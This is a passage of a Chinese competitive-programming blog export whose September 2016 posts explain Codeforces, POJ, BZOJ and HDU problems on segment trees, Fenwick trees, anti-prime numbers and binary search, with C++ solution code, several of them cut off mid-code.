16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32const int M=1E6+7; 33const LL MOD = 1E9+7; 34struct node 35{ 36 int l,r; 37 int id; 38 bool operator \u003c (node b)const 39 { 40 return r\u003cb.r; 41 } 42}q[N]; 43LL a[N],pre[N]; 44int lst[M]; 45int n,Q; 46LL ksm(LL a,LL b) 47{ 48 LL res = 1LL;","date":"2016-09-22","externalUrl":null,"permalink":"/2016/09/cf594d/","section":"Posts","summary":"题目链接 题意：给出n个数,q个查询，每组一个区间，询问区间中所有数的乘积的欧拉函数9+7的答案是多少。","tags":["number theory","快速幂","树状数组","欧拉函数","逆元"],"title":"codeforces 594  D. REQ (树状数组+欧拉函数+逆元)","type":"post"},{"categories":["ACM"],"content":"poj 2886 题目链接 题意：n个人围成一圈，每个人身上由一个数，可正可负。从第k个人开始出圈，如果第k个人身上的数是X,X\u003e0，就左边第x个没有出圈的人出圈，否则右边第-X个人出圈。 第k个人出圈得到的糖果数目为f(k)，f(x)表示x的因子个数。现在问谁能拿到最多的糖果，并且拿到了多少糖果。 思路：看起来好像很麻烦。。其实可以分解成两个问题。 第一个子问题就是约瑟夫问题的加强版。。。每次间隔不是定数，而取决与上一次出队的人。。。 终点是数据有5E5.。。模拟的话会炸掉。。。所以用线段树来模拟这个过程。。。 类似于那道插队的问题。。。线段树的域存的是某区间中空位置的数量。。初始为1.。。 然后每次update的时候优先查看左子树。。。 第二个子问题就是。。。到底第几个出去的人那道的糖果最多。。。。 其实也就是求1..n中。。。因子数最大的那个。。。 利用反素数表。。。每次upper_bound一下即可。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 21 Sep 2016 09:19:11 PM CST 4File Name :code/poj/2886.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=5E5+7; 32int tree[N\u003c\u003c2]; 33int n,k; 34char nam[N][11]; 35int val[N]; 36int s[40] = {1,2,4,6,12,24,36,48,60,120,180,240,360,720,840,1260,1680,2520,5040,7560,10080,15120,20160,25200,27720,45360,50400,55440,83160,110880,166320,221760,277200,332640,498960,500001}; 37int b[40] = {1,2,3,4,6,8,9,10,12,16,18,20,24,30,32,36,40,48,60,64,72,80,84,90,96,100,108,120,128,144,160,168,180,192,200}; 38void PushUp( int rt) 39{ 40 tree[rt] = tree[rt\u003c\u003c1] + tree[rt\u003c\u003c1|1]; 41} 42void build( int l,int r,int rt) 43{ 44 if (l==r) 45 { 46 tree[rt] = 1; 47 return; 48 } 49 int m = (l+r)\u003e\u003e1; 50 build(lson); ","date":"2016-09-21","externalUrl":null,"permalink":"/2016/09/poj-2886/","section":"Posts","summary":"poj 2886 题目链接 题意：n个人围成一圈，每个人身上由一个数，可正可负。从第k个人开始出圈，如果第k个人身上的数是X,X\u003e0，就左边第x个没有出圈的人出圈，否则右边第-X个人出圈。 第k个人出圈得到的糖果数目为f(k)，f(x)表示x的因子个数。现在问谁能拿到最多的糖果，并且拿到了多少糖果。","tags":["反素数","线段树"],"title":"poj  2886  Who Gets the Most Candies? （线段树模拟加强版约瑟夫问题+反素数)","type":"post"},{"categories":["ACM"],"content":"1053: [HAOI2007]反素数ant # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 2750 Solved: 1559 [Submit][Status][Discuss] Description # 对于任何正整数x，其约数的个数记作g(x)。例如g(1)=1、g(6)=4。如果某个正整数x满足：g(x)\u003eg(i) 0\u003ci\u003cx ，则称x为反质数。例如，整数1，2，4，6等都是反质数。现在给定一个数N，你能求出不超过N的最大的反质数么 ？ Input # 一个数N（1\u003c=N\u003c=2,000,000,000）。 Output # 不超过N的最大的反质数。 Sample Input # 1000 Sample Output # 840 HINT # Source # 思路：dfs然后剪一下。。。和ural 1748同样的做法。。。。 还可以。。。打表。。。。 有表不打和咸鱼有什么区别呢 （oi赛制不可以带纸质材料，所以打表大概算是恶习…不过acm不一样啊orz。。。反素数表1..1E18也才167个。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 21 Sep 2016 08:15:41 PM CST 4File Name :code/bzoj/1053.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL anti_prime[]={1,2,4,6,12,24,36,48,60,120,180,240,360,720,840,1260,1680,2520,5040,7560,10080,15120,20160,25200,27720,45360,50400,55440,83160,110880,166320,221760,277200,332640,498960,554400,665280,720720,1081080,1441440,2162160,2882880,3603600,4324320,6486480,7207200,8648640,10810800,14414400,17297280,21621600,32432400,36756720,43243200,61261200,73513440,110270160,122522400,147026880,183783600,245044800,294053760,367567200,551350800,698377680,735134400,1102701600,1396755360,2095133040,2205403200,2327925600,27","date":"2016-09-21","externalUrl":null,"permalink":"/2016/09/bzoj-1053/","section":"Posts","summary":"1053: [HAOI2007]反素数ant # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 2750 Solved: 1559 [Submit][Status][Discuss]","tags":["number theory","反素数"],"title":"bzoj 1053: [HAOI2007]反素数ant","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求约数个数恰好为n个的最小的x 思路：这道题是作为反素数的例题出现在acdreamer的博客里的。 但是实际上，这道题应该和反素数没有关系。 如果题目问的是最小的约数个数大于等于n的x，那么答案一定是反素数…打表就行了。。。 但是问的是**恰好，**比如如果n为5，那么最小的x是16，但是x不是反素数。 所以其实就是个dfs啦。 理论依据是： 一个数 A 可以分解成 p1k1 * p2k2 * …… * pnkn 其中p为素数。这样分解之后，A的因子个数 S = （k1+1） *（ k2+1） * …… *（ kn+1） 以及要找的是一个最小的x，满足约数个数等于n。 那么关于反素数的两个性质依然是满足的： （1）一个反素数的所有质因子必然是从2开始的连续若干个质数，因为反素数是保证约数个数为 的这个数 尽量小 （2）同样的道理，如果 ，那么必有 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 21 Sep 2016 04:48:42 PM CST 4File Name :code/cf/problem/27E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int prime[]={2,3,5,7,11,13,17,19,23,29,31,37,41,43,47}; 34int n; 35LL ans = 1LL\u003c\u003c60; 36void dfs( int depth,LL val,int num) 37{ 38 if (num\u003en) return; 39 if (num==n\u0026\u0026val\u003cans) ans = val; 40 for ( int i = 1 ; i \u003c=63 ; i++) //最多63个质数。。。因为2^64\u003e1E18 41 { 42 if (val*prime[depth]\u003eans) break; 43 dfs(depth+1,val*=prime[depth],num*(i+1)); 44 } 45} 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 52 cin\u003e\u003en; 53 dfs(0,1,1); 54 cout\u003c\u003cans\u003c\u003cendl; 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","date":"2016-09-21","externalUrl":null,"permalink":"/2016/09/codeforces-27-e-number-with-the-given-amount-of-divisors-dfs/","section":"Posts","summary":"题目链接 题意：求约数个数恰好为n个的最小的x 思路：这道题是作为反素数的例题出现在acdreamer的博客里的。","tags":["dfs","number theory","反素数"],"title":"codeforces 27 E. Number With The Given Amount Of Divisors (dfs，反素数（假）)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求区间[a,b]中约数最多的那个数，如果有多个，输出最小的。 思路：看起来好像和反素数没什么关系…只是打个约数个数的表… 但是实际上，所有的答案恰好都是反素数。。。 我们回顾反素数的定义：设f(x)为x的约数个数，那么如果f(n)\u003ef(i) (0\u003ci\u003cn),n就被称为反素数. 换句话说，对于所有f(x)==k的x组成的集合，最小的那个x就是反素数。 需要注意的是，因数个数并不单调。。因此上面那句话并不准确。。。 举个例子，16虽然有5个因子，是第一个有5个因子的数，但是16不是反素数，因为比16小的12有6个因子。 那么这个东西有什么用呢。。。。 我们发现。。。反素数的分布很稀疏。。。因此。。。可以直接打表。。。 一张反素数的表(一共167个)： {1,2,4,6,12,24,36,48,60,120,180,240,360,720,840,1260,1680,2520,5040,7560,10080,15120,20160,25200,27720,45360,50400,55440,83160,110880,166320,221760,277200,332640,498960,554400,665280,720720,1081080,1441440,2162160,2882880,3603600,4324320,6486480,7207200,8648640,10810800,14414400,17297280,21621600,32432400,36756720,43243200,61261200,73513440,110270160,122522400,147026880,183783600,245044800,294053760,367567200,551350800,698377680,735134400,1102701600,1396755360,2095133040,2205403200,2327925600,2793510720,3491888400,4655851200,5587021440,6983776800,10475665200,13967553600,20951330400,27935107200,41902660800,48886437600,64250746560,73329656400,80313433200,97772875200,128501493120,146659312800,160626866400,240940299600,293318625600,321253732800,481880599200,642507465600,963761198400,1124388064800,1606268664000,1686582097200,1927522396800,2248776129600,3212537328000,3373164194400,4497552259200,6746328388800,8995104518400,9316358251200,13492656777600,18632716502400,26985313555200,27949074753600,32607253879200,46581791256000,48910880818800,55898149507200,65214507758400,93163582512000,97821761637600,130429015516800,195643523275200,260858031033600,288807105787200,391287046550400,577614211574400,782574093100800,866421317361600,1010824870255200,1444035528936000,1516237305382800,1732842634723200,2021649740510400,2888071057872000,3032474610765600,4043299481020800,6064949221531200,8086598962041600,10108248702552000,12129898443062400,18194847664593600,202","date":"2016-09-21","externalUrl":null,"permalink":"/2016/09/hdu-2521/","section":"Posts","summary":"题目链接 题意：求区间[a,b]中约数最多的那个数，如果有多个，输出最小的。","tags":["number theory","反素数"],"title":"hdu 2521 反素数","type":"post"},{"categories":["ACM"],"content":"acdreamer的博客 wiki上的反素数是什么鬼orz…完全不是一个东西吧。。。。 反素数直观得理解。。。就是一个约数特别多的数。。。因为素数的约数最少。。。所以约数多的数就叫反素数（？随便口胡的… 由于1E18之前的反素数大概只有167个。。。所以打表可以很方便。。。 反素数是第一个约数“增长”到某个数的数，必须是“增长”，而不是第一个约数个数为某个数的数。 因为16是第一个约数个数为5的个数，但是16不是反素数，因为比16小的12有6的约数。。。 反素数的两个性质非常好用。。。 一个是反素数分解的质因子一定是连续的。。。 另一个是反素数分解的质因子的指数一定不增。。。 这两个性质都很显然。。。。证明没啥必要。。。 这两个性质可以用来dfs的时候剪枝。。。","date":"2016-09-21","externalUrl":null,"permalink":"/2016/09/%e5%8f%8d%e7%b4%a0%e6%95%b0%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"acdreamer的博客 wiki上的反素数是什么鬼orz…完全不是一个东西吧。。。。","tags":["number theory","反素数"],"title":"反素数学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n只青蛙，第i只位于x[i],舌头长度为t[i]。m只蚊子，第i只蚊子所在位置为p[i],蚊子的大小为b[i]。 蚊子按照出现顺序输入。 一只青蛙能吃到蚊子当且仅当蚊子和青蛙在同一个位置，或者蚊子在青蛙右边并且与青蛙的距离小于等于该青蛙舌头的长度。 当多只青蛙可以吃到同一只蚊子的时候，最左边的那只青蛙来吃。 当一只青蛙吃掉一只蚊子以后，青蛙的舌头增加蚊子的大小。 当一只青蛙吃掉一只蚊子后，因为舌头边长而又能吃到其他蚊子的时候，这只青蛙会继续吃，只到当前没有蚊子可以被任何一只青蛙吃到，在这个过程之后才会飞来下一只蚊子。 思路：问题的关键在于，对于某只蚊子，我们如何找到能吃到该蚊子的青蛙中最左边的那只。 可以抽象成寻找区间[1,r]中，最左边的那个\u003e=x的元素。 联想到一个类似的问题：对于区间[1,n]，找到最左边的\u003e=x的元素。做法是线段树维护最大值，只需要每次先query左子树，就可以保证找到额是最左边的。 但是如果是区间[1,r]呢。。。 我们发现。。。区间[1..k] (k\u003c=r)的最大值是随着k的增大而不减的。。。。（最大值。。。肯定不减呀） 也就是说是单调的。。。因此我们可以考虑二分。。。这很重要。。。 寻找区间[1，r]中第一个大于等于x的元素，利用单调性来二分做是一个很经典的做法，复杂度(lgn)^2,注意体会。 因此具体做法是： 建树，存的是区间中x[i]+t[i]的最大值。 对于每一只飞来的蚊子，寻找能吃到它的最左边的青蛙的编号（具体做法是，先找到最后一个位置小于等于蚊子位置的青蛙的下标，作为青蛙的下标的上界，然后二分，每次query区间最大值，不断缩小区间。） 当蚊子被吃的时候记录答案，更新青蛙的各种信息（线段树要update) 并且由于青蛙的舌头变长了，可能吃到之前没有青蛙能吃到的蚊子，因此要把之前的没有能被青蛙吃到的蚊子存进一个multiset(因为蚊子可能落在同一个位置） 然后让当前的青蛙尽可能吃这些没有被吃到的蚊子，同时更新青蛙的各种信息，并在multiset中删除这只蚊子/ 没被吃的时候就扔进multiset里。 需要注意multiset erase的时候要erase一个迭代器。。。不然会把所有相同的都删掉。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 21 Sep 2016 12:30:16 AM CST 4File Name :code/cf/problem/609F.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c LL ,LL \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32struct node 33{ 34 LL x,t; 35 LL sum; 36","date":"2016-09-20","externalUrl":null,"permalink":"/2016/09/codeforces-609-f-frogs-and-mosquitoes-/","section":"Posts","summary":"题目链接 题意：n只青蛙，第i只位于x[i],舌头长度为t[i]。m只蚊子，第i只蚊子所在位置为p[i],蚊子的大小为b[i]。","tags":["binary search","线段树"],"title":"codeforces #609 F. Frogs and mosquitoes (线段树+二分)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一个无穷数列，从1开始，初始第i个位置上为i，给出n个swap，每次交换两个位置的数。问交换n次以后得到的数列中，逆序对的数。 思路： 官方题解： At first find the position of each element which is used in swap (using map). Now let’s find the answer. It consists of the two parts. First part is the number of inversions formed by only whose elements which took part in the swaps. They can be counted by one of the standard ways: mergesort or Fenwick tree. The second part is the number of inversions formed by pairs of elements where one element has been swapped even once, and the other element stayed at his position. Let’s consider the following test: 2 2 6 4 8 The global sequence will look as follows: [1 6 3 8 5 2 7 4 9 …], and here is the array of swapped elements: [6 8 2 4]. Let’s understand with which numbers the number 8 forms the inversions. The only elements that could do that are the elements between the initial position of the number 8 (where the number 4 is now) and its current position: [5 2 7]. There are two numbers on this segment which didn’t take part in swaps: 5 and 7. The number 2 should not be counted as it took part in the swaps and we have already counted it in the first part of the solution. So we should take the count of numbers between 8’s indices in the global sequence (8 - 4 - 1 = 3) and subtract the count of numbers between its indices in the swaps array (4 - 2 - 1 = 1)(在交换序列中【6,8,2,4】4的位置在4,8的位置在2). We’ll get the number of inversions formed by the element 8 and the elements which haven’t moved at all, it’s 2. Counting this value for all elements which have been swapped at least once, we get the second part of the answer. All operations in the second part of the solution can be performed using sorts and binary searches. 讲真。。。题解写的真是不友好。。。。很多概念从天而降。。。公式中magic number不加说明。。。。差评。 我来说一下这道题的做法： 首先，由于交换的位置最大1E9，但是最多1E5个","date":"2016-09-20","externalUrl":null,"permalink":"/2016/09/cf540e/","section":"Posts","summary":"题目链接 题意：一个无穷数列，从1开始，初始第i个位置上为i，给出n个swap，每次交换两个位置的数。问交换n次以后得到的数列中，逆序对的数。","tags":["线段树","逆序对"],"title":"codeforces 540 E. Infinite Inversions (分类思想+线段树求逆序对)","type":"post"},{"categories":["ACM"],"content":"题意：给出n个数，两两做差的绝对值，共有m=n*(n-1)/2个，问其中的中位数是多少。特别地，当m为偶数的时候，中位数为第m/2个。 思路：二分中位数。 一开始还觉得由于中位数在整数意义上不连续不能二分。。。。 但是最后结果不可能是那样的答案啊。。。 check的条件是，以k为中位数的时候，绝对值小于k的数要小于(m+1)/2个（也就是中位数所在的位置） check的时候尺取即可。 复杂度 排序O(nlgn) + 二分(lgn)*尺取O(n) ，整体O(nlgn) 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 20 Sep 2016 12:18:19 AM CST 4File Name :code/poj/3579.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32LL n,m; 33int x[N]; 34bool check( int k) 35{ 36 int cnt = 0 ; //cnt为绝对值小于k的对数,小于中位数的对数应该小于m个。 37 int head = 1; 38 int tail = 1; 39 while (head\u003c=n) 40 { 41 while (x[tail]-x[head]\u003ck\u0026\u0026tail\u003c=n) tail++; 42 tail--; 43 cnt+=(tail-head); 44 head++; 45 } 46 return cnt\u003e=m; 47} 48int bin() 49{ 50 int l = 0 ; 51 int r = x[n] - x[1]; 52 while (l\u003c=r) 53 { 54 int mid = (l+r)\u003e\u003e1; 55 if (check(mid)) r = mid-1; 56 else l = mid+1; 57 } 58 return l-1; 59} 60int main() 61{ 62 #ifndef ONLINE_JUDGE 63 freopen(\"code/in.txt\",\"r\",stdin); 64 #endif 65 while (scanf(\"%lld\",\u0026n)!=EOF){ 66 for ( int i = 1 ; i \u003c= n ; i++ ) scanf(\"%d\",\u0026x[i]); 67 sort(x+1,x+n+1); 68 m = n*(n-1)/2; 69 m = (m+1)/2; 70 int ans = bin(); 71 printf(\"%d\\n\",ans); 72 } 73#ifndef ONLINE_JUDGE 74 fclose(st","date":"2016-09-19","externalUrl":null,"permalink":"/2016/09/poj-3579/","section":"Posts","summary":"题意：给出n个数，两两做差的绝对值，共有m=n*(n-1)/2个，问其中的中位数是多少。特别地，当m为偶数的时候，中位数为第m/2个。","tags":["binary search"],"title":"poj 3579 Median (尺取法+二分)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个x轴上的坐标点，选取其中c个，问c个之中任意两个点的最小距离最大是多少。 思路：二分距离check合法性。 大水题。。。因为想把三分艹掉。。。三分的题又多和二分挂在一起。。。顺便就写了。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 19 Sep 2016 10:57:54 PM CST 4File Name :code/poj/2456.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int x[N]; 33int n,c; 34bool check( int k) 35{ 36 int cnt = 1; 37 int cur = x[1]; 38 for ( int i = 2 ; i \u003c= n ; i++) 39 { 40 if (x[i]-cur\u003e=k) 41 { 42 cnt++; 43 cur = x[i]; 44 } 45 } 46 return cnt\u003e=c; 47} 48int bin() 49{ 50 int l = 1; 51 int r = x[n]-x[1]; 52 while (l\u003c=r) 53 { 54 int mid = (l+r)\u003e\u003e1; 55 if (!check(mid)) 56 { 57 r = mid-1; 58 } 59 else 60 l = mid+1; 61 } 62 return l-1; 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",stdin); 68 #endif 69 scanf(\"%d%d\",\u0026n,\u0026c); 70 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026x[i]); 71 sort(x+1,x+n+1); 72 int ans = bin(); 73 printf(\"%d\\n\",ans); 74 #ifndef ONLINE_JUDGE 75 fclose(stdin); 76 #endif 77 return 0; 78}","date":"2016-09-19","externalUrl":null,"permalink":"/2016/09/poj2456/","section":"Posts","summary":"题目链接 题意：给出n个x轴上的坐标点，选取其中c个，问c个之中任意两个点的最小距离最大是多少。","tags":["binary search"],"title":"poj 2456 Aggressive cows (二分)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：圆上，询问任意一段弧中，任意两点的距离+两点的权值和的最大值。 思路： 1.环先拆成串，复制1..n到后面，变成1..2n。 化简公式： 2 * h[u] + 2 * h[v] + dist(u, v) = 2 * h[v] + d[1] + d[2] + … + d[v-1] + 2 * h[u] - (d[1] + d[2] + … + d[u-1]). 设A[v] = 2 * h[v] + d[1] + d[2] + … + d[v-1], B[u] = 2 * h[u] - (d[1] + d[2] + … + d[u-1]). Another important thing is that L__u + R__v always bigger than L__v + R__u when u \u003c v. So we can almost solve the problem just by finding the maximum value of L__u and R__v by RMQ separately and sum them up. 但是至少由两颗树。。。所以要保证u!=v… 这也是本题的难点。。。 做法是，线段树维护三个域。 分别表示某区间A的最大值，某区间B的最大值，某区间A+B的最大值（且保证A和B不属于同一个区间） 如何保证呢？ 每次合并的时候。。。合并不同的区间就好了。。。 具体见代码 注意体会这种区间合并的思想。。。 以及query的时候。。。做法类似于：bzoj1756题目链接 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 19 Sep 2016 04:35:20 PM CST 4File Name :code/cf/problem/515e.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define INF (~0ull\u003e\u003e1) 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=2E5+7; 33int n,m; 34LL d[N],h[N]; 35struct node 36{ 37 LL mx; //mx保存的是不相同区间的lx+mx的最大值。目的是避免u==v的情况。注意体会这种区间合并。 38 LL lx; 39 LL rx; 40}tree[N\u003c\u003c2]; 41void PushUp(int rt) 42{ 43 tree[rt].lx = max(tree[rt\u003c\u003c1].lx,tree[rt\u003c\u003c1|1].lx); 44 tree[rt].rx = max(tree[rt\u003c\u003c1].rx,tree[rt\u003c\u003c1|1].rx); 45 tree[rt].mx","date":"2016-09-19","externalUrl":null,"permalink":"/2016/09/cf515e/","section":"Posts","summary":"题目链接 题意：圆上，询问任意一段弧中，任意两点的距离+两点的权值和的最大值。","tags":["线段树"],"title":"codeforces 515 E. Drazil and Park ( 线段树区间合并)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有n个数，每次可以删除掉数值相同并且所在位置成等差数列（只删2个数或者只删1个数应该也是可以的），删掉这些数以后可以将剩下的数重新以任意顺序排列，称为一次操作。现在给出m个询问，每个询问一个区间[l,r]，问删光区间[l,r]中的数最少需要的操作次数。 思路/题解：由于第一次操作之后可以重排，那么把相同的数放在一起得到一个位置的公差为1的等差数列，之后的答案显然是元素个数。所以需要判断初始的时候，是否能一次删光某个数值的数，也就是需要判断初始时刻是否有某个数出现的所有位置组成一个等差数列。 (去icpc-camp的论坛问了一波。。。链接在这里) 之前刚刚学了判断一个区间中不同的数有多少个的姿势。。。 所以问题就在于如何判断这个等差数列。。。 参考叉姐的思路，我的思路如下： 就是从左往右扫的时候，对于当前的数，看该种数在当前位置左边且离当前位置最近的不能和当前位置构成等差数列的数的位置，然后用树状数组判断这个位置和当前查询区间的左端点的关系，如果左端点在这个位置左边，就不是等差，否则就是等差。 上面是判断一种数的情况。。。我要找到一种数满足题意即可。。 具体做法： 从左到右扫描每个元素，对于每种数字，肯定是有最长的一段后缀是等差数列，假设是 xx 个，那么左端点落在第 x + 1x+1 个后，这种数字就是全是等差数列。 我们可以拿一个树状数组把从第 (x + 1)(x+1) 个数往后全部 +1，询问时只要询问某个元素是不是 \u003e0 就可以了。 顺便说一句：叉姐人真的好nice啊。。本来昨天大概找了大半天题解。。看了代码也没看懂。。。 然后晚上去icpc-camp的论坛上问了一波。。。 然后茶姐的回复窝仍然看不懂。。。。。 感觉窝问的应该不是什么困难的问题（虽然我想了好久都想不出）。。。 所以纠结了好久要不要再问一下叉姐。。。。 最后还是问了。。。结果叉姐非常热心而又详细地回答了我。。。。 真是让我这种蒟蒻感动不已啊。。。。orz 怪不得人人爱叉姐。 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 18 Sep 2016 08:30:02 PM CST 4File Name :code/cf/problem/351D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int a[N],pre[N],lst[N]; 33int n,m; 34int tree[N\u003c\u003c2]; 35int t[N]; 36int ans[N]; 37struct node 38{ 39 int l,r; 40 int id; 41 bool operator \u003c","date":"2016-09-18","externalUrl":null,"permalink":"/2016/09/cf351d/","section":"Posts","summary":"题目链接 题意：有n个数，每次可以删除掉数值相同并且所在位置成等差数列（只删2个数或者只删1个数应该也是可以的），删掉这些数以后可以将剩下的数重新以任意顺序排列，称为一次操作。现在给出m个询问，每个询问一个区间[l,r]，问删光区间[l,r]中的数最少需要的操作次数。","tags":["树状数组","线段树"],"title":"codeforces #351 D. Jeff and Removing Periods (线段树/树状数组判断位置成等差数列)","type":"post"},{"categories":["ACM"],"content":"题目链接 